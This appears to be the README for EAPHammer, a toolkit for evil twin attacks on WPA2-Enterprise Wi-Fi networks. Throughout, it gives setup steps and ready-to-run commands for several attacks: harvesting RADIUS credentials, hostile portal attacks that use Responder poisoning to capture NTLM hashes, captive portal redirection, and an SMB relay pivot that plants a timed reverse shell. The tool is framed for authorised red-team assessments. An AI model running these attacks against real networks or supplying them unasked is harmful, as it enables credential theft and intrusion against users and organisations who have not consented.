EAPHammer - Targeted Evil Twin Attacks Against WPA2-Enterprise Networks [Indirect Wireless Pivots Using Hostile Portal Attacks]

May 01, 2017  , , , , , , , , , , , , , , , ,  


EAPHammer is a toolkit for performing targeted evil twin attacks against WPA2-Enterprise networks. It is designed to be used in full scope wireless assessments and red team engagements. As such, focus is placed on providing an easy-to-use interface that can be leveraged to execute powerful wireless attacks with minimal manual configuration. To illustrate how fast this tool is, here's an example of how to setup and execute a credential stealing evil twin attack against a WPA2-TTLS network in just two commands:
# generate certificates
./eaphammer --cert-wizard

# launch attack
./eaphammer -i wlan0 --channel 4 --auth ttls --wpa 2 --essid CorpWifi --creds
Leverages a lightly modified version of hostapd-wpe, dnsmasq, dsniff, Responder, and Python 2.7.

Features
  • Steal RADIUS credentials from WPA-EAP and WPA2-EAP networks.
  • Perform hostile portal attacks to steal AD creds and perform indirect wireless pivots
  • Perform captive portal attacks
  • Built-in Responder integration
  • Support for Open networks and WPA-EAP/WPA2-EAP
  • No manual configuration necessary for most attacks.
  • No manual configuration necessary for installation and setup process

Upcoming Features
  • Perform seemeless MITM attacks with partial HSTS bypasses
  • Support attacks against WPA-PSK/WPA2-PSK
  • Support for SSID cloaking
  • Generate timed payloads for indirect wireless pivots
  • Integrated PowerShell payload generation
  • impacket integration for SMB relay attacks
  • directed rogue AP attacks (deauth then evil twin from PNL, deauth then karma + ACL)
  • Updated hostapd-wpe that works with the latest version of Hostapd
  • Integrated website cloner for cloning captive portal login pages
  • Integrated HTTP server
Will this tool ever support Karma attacks?
  • At some point yes, but for now the focus has been on directed evil twin attacks.
  • If Karma attacks are like a wireless grenade launcher, this tool is more like an easy-to-use wireless sniper rifle

Setup Guide

Kali Setup Instructions
Begin by cloning the eaphammer repo using the following command.
git clone https://github.com/s0lst1c3/eaphammer.git
Next run the kali-setup.py file as shown below to complete the eaphammer setup process. This will install dependencies and compile hostapd.
python setup.py

Other Distros
If you are not using Kali, you can still compile eaphammer. I just haven't written a setup script for your distro yet, which means you'll have to do it manually. Ask yourself whether you understand the following:
  • python-devel vs python-dev
  • service vs systemctl
  • network-manager vs NetworkManager
  • httpd vs apache2
If you looked at this list and immediately realized that each pair of items was to some extent equivalent (well, except for service vs systemctl, but you catch my drift), you'll probably have no problems getting this package to work on the distro of your choice. If not, please just stick with Kali until support is added for other distros.
With that out of the way, here are the generic setup instructions:
Use your package manager to install each of the dependencies listed in kali-dependencies.txt. Package names can vary slightly from distro to distro, so you may get a "package not found" error or similar. If this occurs, just use Google to find out what the equivalent package is for your distro and install that instead.
Once you have installed each of the dependencies listed in kali-dependencies.txt, you'll need to install some additional packages that ship with Kali by default. These packages are listed below. If you're on a distro that uses httpd instead of apache2, install that instead.
  • dsniff
  • apache2
Compile hostapd using the following commands:
cd hostapd-eaphammer
make
Open config.py in the text editor of your choice and edit the following lines so that to values that work for your distro:
# change this to False if you cannot/will not use systemd
use_systemd = True

# change this to 'NetworkManager' if necessary
network_manager = 'network-manager'

# change this 'httpd' if necessary
httpd = 'apache2'

Usage Guide

x.509 Certificate Generation
Eaphammer provides an easy-to-use wizard for generating x.509 certificates. To launch eaphammer's certificate wizard, just use the command shown below.
./eaphammer --cert-wizard

Stealing RADIUS Credentials From EAP Networks
To steal RADIUS credentials by executing an evil twin attack against an EAP network, use the --creds flag as shown below.
./eaphammer --bssid 1C:7E:E5:97:79:B1 --essid Example --channel 2 --interface wlan0 --auth ttls --creds
The flags shown above are self explanatory. For more granular control over the attack, you can use the --wpa flag to specify WPA vs WPA2 and the --auth flag to specify the eap type. Note that for cred reaping attacks, you should always specify an auth type manually since the the --auth flag defaults to "open" when omitted.
./eaphammer --bssid 00:11:22:33:44:00 --essid h4x0r --channel 4 --wpa 2 --auth ttls --interface wlan0 --creds
Please refer to the options described in Additional Options section of this document for additional details about these flags.

Stealing AD Credentials Using Hostile Portal Attacks
Eaphammer can perform hostile portal attacks that can force LLMNR/NBT-NS enabled Windows clients into surrendering password hashes. The attack works by forcing associations using an evil twin attack, then forcing associated clients to attempt NetBIOS named resolution using a Redirect To SMB attack. While this occurs, eaphammer runs Responder in the background to perform a nearly instantaneous LLMNR/NBT-NS poisoning attack against the affected wireless clients. The result is an attack that causes affected devices to not only connect to the rogue access point, but send NTLM hashes to the rogue access point as well.
The --hostile-portal flag can be used to execute a hostile portal attack, as shown in the examples below.
./eaphammer --interface wlan0 --bssid 1C:7E:E5:97:79:B1 --essid EvilC0rp --channel 6 --auth peap --wpa 2 --hostile-portal

./eaphammer --interface wlan0 --essid TotallyLegit --channel 1 --auth open --hostile-portal

Performing Indirect Wireless Pivots Using Hostile Portal Attacks
The hostile portal attack described in Stealing AD Credentials Using Hostile Portal Attacks can be used to perform an SMB relay attack against the affected devices. An attacker can use hostile portal attack to perform an SMB relay attack that places timed reverse shell on an authorized wireless devices. The attacker can then disengage the attack to allow the authorized device to reconnect to the targetted network. When the attacker receives the reverse shell, he or she will have the same level of authorization as the attacker.

Performing Captive Portal Attacks
To perform a captive portal attack using eaphammer, use the --captive-portal flag as shown below.
./eaphammer --bssid 1C:7E:E5:97:79:B1 --essid HappyMealz --channel 6 --interface wlan0 --captive-portal
This will cause eaphammer to execute an evil twin attack in which the HTTP(S) traffic of all affected wireless clients are redirected to a website you control. Eaphammer will leverage Apache2 to serve web content out of /var/www/html if used with the default Apache2 configuration. Future iterations of eaphammer will provide an integrated HTTP server and website cloner for attacks against captive portal login pages.

Additional Options
  • --cert-wizard - Use this flag to create a new RADIUS cert for your AP.
  • -h, --help - Display detailed help message and exit.
  • -i, --interface - Specify the a PHY interface on which to create your AP.
  • -e ESSID, --essid ESSID - Specify access point ESSID.
  • -b BSSID, --bssid BSSID - Specify access point BSSID.
  • --hw-mode HW-MODE - Specify access point hardware mode (default: g).
  • -c CHANNEL, --channel CHANNEL - Specify access point channel.
  • --wpa {1,2} - Specify WPA type (default: 2).
  • --auth {peap,ttls,open} - Specify auth type (default: open).
  • --creds - Harvest EAP creds using an evil twin attack.
  • --hostile-portal - Force clients to connect to hostile portal.
  • --captive-portal - Force clients to connect to a captive portal.